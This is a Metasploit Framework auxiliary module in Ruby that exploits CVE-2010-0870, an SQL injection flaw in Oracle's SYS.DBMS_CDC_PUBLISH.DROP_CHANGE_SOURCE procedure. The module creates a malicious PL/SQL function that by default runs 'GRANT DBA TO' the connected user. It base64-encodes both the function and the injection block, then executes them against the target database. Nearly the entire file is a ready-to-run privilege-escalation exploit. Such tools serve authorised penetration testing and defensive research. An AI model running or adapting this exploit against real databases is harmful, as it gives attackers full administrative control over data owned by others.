##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
			'Description'    => %q{
				The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE
				procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
				on the vulnerable package can exploit this vulnerability. By default, users granted
				EXECUTE_CATALOG_ROLE have the required privilege.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-0870' ],
					[ 'OSVDB', '63772'],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]
				],
			'DisclosureDate' => 'Apr 26 2010'))

			register_options(
				[
					OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
				], self.class)
	end

	def run
		return if not check_dependencies

		name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		var1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		var2  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

		function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;
		"

		package = "
BEGIN
SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');
END;
		"

		uno  = Rex::Text.encode_base64(function)
		dos  = Rex::Text.encode_base64(package)

		encoded_sql = %Q|
DECLARE
#{var1} VARCHAR2(32767);
#{var2} VARCHAR2(32767);
BEGIN
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{var1};
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{var2};
END;
		|

		print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")
		prepare_exec(encoded_sql)
		print_status("Done...")

	end

end